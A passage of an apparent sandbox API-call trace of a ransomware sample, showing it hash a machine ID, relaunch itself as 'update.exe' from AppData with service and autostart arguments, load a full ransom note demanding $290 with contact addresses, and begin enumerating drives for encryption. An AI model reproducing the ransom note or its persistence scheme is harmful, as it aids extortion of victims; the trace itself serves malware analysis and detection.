AdapterInfo=0x657ec8, SizePointer=0x18d024 | out: AdapterInfo=0x657ec8, SizePointer=0x18d024) returned 0x0 [0110.630] GetLastError () returned 0x0 [0110.630] SetLastError (dwErrCode=0x0) [0110.630] GetLastError () returned 0x0 [0110.631] SetLastError (dwErrCode=0x0) [0110.631] GetLastError () returned 0x0 [0110.631] GetLastError () returned 0x0 [0110.637] CryptAcquireContextW (in: phProv=0x18cff4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18cff4*=0x6580b0) returned 1 [0110.655] CryptCreateHash (in: hProv=0x6580b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18cffc | out: phHash=0x18cffc) returned 1 [0110.656] CryptHashData (hHash=0x65ec88, pbData=0x64ef58, dwDataLen=0x11, dwFlags=0x0) returned 1 [0110.656] CryptGetHashParam (in: hHash=0x65ec88, dwParam=0x2, pbData=0x0, pdwDataLen=0x18cff8, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18cff8) returned 1 [0110.656] CryptGetHashParam (in: hHash=0x65ec88, dwParam=0x2, pbData=0x64f618, pdwDataLen=0x18cff8, dwFlags=0x0 | out: pbData=0x64f618, pdwDataLen=0x18cff8) returned 1 [0110.656] GetLastError () returned 0x0 [0110.656] CryptDestroyHash (hHash=0x65ec88) returned 1 [0110.656] CryptReleaseContext (hProv=0x6580b0, dwFlags=0x0) returned 1 [0110.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x411a80, lpParameter=0x44e648, dwCreationFlags=0x0, lpThreadId=0x44e638 | out: lpThreadId=0x44e638*=0x710) returned 0x10c [0110.875] WaitForSingleObject (hHandle=0x10c, dwMilliseconds=0xffffffff) returned 0x0 [0112.417] GetLastError () returned 0x0 [0112.417] lstrcpyW (in: lpString1=0x18dd98, lpString2="--ForNetRes " | out: lpString1="--ForNetRes ") returned="--ForNetRes " [0112.417] lstrcatW (in: lpString1="--ForNetRes ", lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0112.417] lstrcatW (in: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpString2=" " | out: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ") returned="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC " [0112.417] lstrcatW (in: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0112.417] lstrcpyW (in: lpString1=0x18d398, lpString2="\"" | out: lpString1="\"") returned="\"" [0112.417] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0112.417] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", lpString2="\" " | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" ") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" " [0112.417] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" ", lpString2="--ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0112.417] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpString2=" IsAutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart" [0112.417] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart", lpString2=" IsNotTask" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask" [0112.417] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d1e8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d0a4 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask", lpProcessInformation=0x18d0a4*(hProcess=0x150, hThread=0x120, dwProcessId=0x7f8, dwThreadId=0x5fc)) returned 1 [0112.425] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x198 [0112.425] SetLastError (dwErrCode=0x0) [0112.425] GetCurrentProcessId () returned 0x68c [0112.425] lstrcatW (in: lpString1="1676", lpString2=" " | out: lpString1="1676 ") returned="1676 " [0112.425] lstrcatW (in: lpString1="1676 ", lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0112.425] lstrcatW (in: lpString1="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpString2=" " | out: lpString1="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ") returned="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC " [0112.425] lstrcatW (in: lpString1="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC ", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0112.425] lstrcpyW (in: lpString1=0x18e598, lpString2="\"" | out: lpString1="\"") returned="\"" [0112.425] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0112.425] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", lpString2="\" --Service " | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service ") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service " [0112.425] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service ", lpString2="1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0112.425] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d268*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d1a8 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", lpProcessInformation=0x18d1a8*(hProcess=0x39c, hThread=0x14c, dwProcessId=0x7ac, dwThreadId=0x5c4)) returned 1 [0112.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40e230, lpParameter=0x44e648, dwCreationFlags=0x0, lpThreadId=0x44e628 | out: lpThreadId=0x44e628*=0x5ec) returned 0x3b4 [0112.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", cchWideChar=-1, lpMultiByteStr=0x694108, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC", lpUsedDefaultChar=0x0) returned 41 [0112.432] CryptAcquireContextW (in: phProv=0x18d064, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18d064*=0x68b420) returned 1 [0112.433] CryptCreateHash (in: hProv=0x68b420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18d068 | out: phHash=0x18d068) returned 1 [0112.433] lstrlenA (lpString="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned 40 [0112.433] CryptHashData (hHash=0x66ba08, pbData=0x659638, dwDataLen=0x28, dwFlags=0x0) returned 1 [0112.433] CryptGetHashParam (in: hHash=0x66ba08, dwParam=0x2, pbData=0x0, pdwDataLen=0x18d06c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18d06c) returned 1 [0112.433] CryptGetHashParam (in: hHash=0x66ba08, dwParam=0x2, pbData=0x64f818, pdwDataLen=0x18d06c, dwFlags=0x0 | out: pbData=0x64f818, pdwDataLen=0x18d06c) returned 1 [0112.433] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="", lpString2="55" | out: lpString1="55") returned="55" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55", lpString2="11" | out: lpString1="5511") returned="5511" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="5511", lpString2="15" | out: lpString1="551115") returned="551115" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="551115", lpString2="89" | out: lpString1="55111589") returned="55111589" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589", lpString2="B0" | out: lpString1="55111589B0") returned="55111589B0" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0", lpString2="EC" | out: lpString1="55111589B0EC") returned="55111589B0EC" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC", lpString2="54" | out: lpString1="55111589B0EC54") returned="55111589B0EC54" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC54", lpString2="D4" | out: lpString1="55111589B0EC54D4") returned="55111589B0EC54D4" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC54D4", lpString2="AC" | out: lpString1="55111589B0EC54D4AC") returned="55111589B0EC54D4AC" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC54D4AC", lpString2="A0" | out: lpString1="55111589B0EC54D4ACA0") returned="55111589B0EC54D4ACA0" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC54D4ACA0", lpString2="E7" | out: lpString1="55111589B0EC54D4ACA0E7") returned="55111589B0EC54D4ACA0E7" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7", lpString2="CA" | out: lpString1="55111589B0EC54D4ACA0E7CA") returned="55111589B0EC54D4ACA0E7CA" [0112.434] GetLastError () returned 0x0 [0112.434] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA", lpString2="15" | out: lpString1="55111589B0EC54D4ACA0E7CA15") returned="55111589B0EC54D4ACA0E7CA15" [0112.434] GetLastError () returned 0x0 [0112.435] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA15", lpString2="9C" | out: lpString1="55111589B0EC54D4ACA0E7CA159C") returned="55111589B0EC54D4ACA0E7CA159C" [0112.435] GetLastError () returned 0x0 [0112.435] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA159C", lpString2="C0" | out: lpString1="55111589B0EC54D4ACA0E7CA159CC0") returned="55111589B0EC54D4ACA0E7CA159CC0" [0112.435] GetLastError () returned 0x0 [0112.435] lstrcatA (in: lpString1="55111589B0EC54D4ACA0E7CA159CC0", lpString2="AB" | out: lpString1="55111589B0EC54D4ACA0E7CA159CC0AB") returned="55111589B0EC54D4ACA0E7CA159CC0AB" [0112.435] CryptDestroyHash (hHash=0x66ba08) returned 1 [0112.435] CryptReleaseContext (hProv=0x68b420, dwFlags=0x0) returned 1 [0112.435] lstrlenA (lpString="55111589B0EC54D4ACA0E7CA159CC0AB") returned 32 [0112.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d070, cbMultiByte=-1, lpWideCharStr=0x664ed8, cchWideChar=1035 | out: lpWideCharStr="!readme.txt") returned 12 [0112.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x659638, cbMultiByte=-1, lpWideCharStr=0x699090, cchWideChar=2165 | out: lpWideCharStr="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned 1142 [0112.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d070, cbMultiByte=-1, lpWideCharStr=0x664ed8, cchWideChar=1033 | out: lpWideCharStr=".INFOWAIT") returned 10 [0112.439] GetUserNameW (in: lpBuffer=0x18db98, pcbBuffer=0x18d0d4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18d0d4) returned 1 [0112.440] GetLastError () returned 0x0 [0112.444] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0112.444] RegisterClassExW (param_1=0x18d050) returned 0xc128 [0112.444] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2012e [0112.507] NtdllDefWindowProc_W () returned 0x0 [0112.507] NtdllDefWindowProc_W () returned 0x1 [0112.509] NtdllDefWindowProc_W () returned 0x0 [0112.512] NtdllDefWindowProc_W () returned 0x0 [0112.512] ShowWindow (hWnd=0x2012e, nCmdShow=0) returned 0 [0112.512] UpdateWindow (hWnd=0x2012e) returned 1 [0112.512] GetLogicalDrives () returned 0x4 [0112.512] SetErrorMode (uMode=0x1) returned 0x0 [0112.513] PathFileExistsA (pszPath="C:\\") returned 1 [0112.513] SetErrorMode (uMode=0x0) returned 0x1 [0112.513] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0112.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18d010, cbMultiByte=-1, lpWideCharStr=0x6c8240, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0112.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x412350, lpParameter=0x68ddd8, dwCreationFlags=0x0, lpThreadId=0x693b78 | out: lpThreadId=0x693b78*=0x5f8) returned 0x3d4 [0112.516] GetMessageW (in: lpMsg=0x18d234, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18d234) returned 0 [0147.848] IsWindow (hWnd=0x2012e) returned 1 [0147.848] DestroyWindow (hWnd=0x2012e) returned 1 [0147.848] NtdllDefWindowProc_W () returned 0x0 [0147.848] PostQuitMessage (nExitCode=0) [0147.848] NtdllDefWindowProc_W () returned 0x0 [0147.848] PostThreadMessageW (idThread=0x5ec, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0147.849] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.849] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xa) returned 0x102 [0147.850] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.850] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xa) returned 0x0 [0147.851] PostThreadMessageW (idThread=0x5c4, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0147.851] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.851] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.866] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.866] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.882] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.882] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.897] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.897] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.913] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.913] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.929] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.929] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.944] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.944] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.960] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.960] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.975] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.975] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0147.991] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0147.991] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.007] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.007] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.022] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.022] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.038] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.038] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.053] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.053] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.069] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.069] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.084] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.084] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.100] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.100] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.116] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.116] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.131] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.131] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.147] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.147] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.163] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0148.163] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xa) returned 0x102 [0148.178] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, 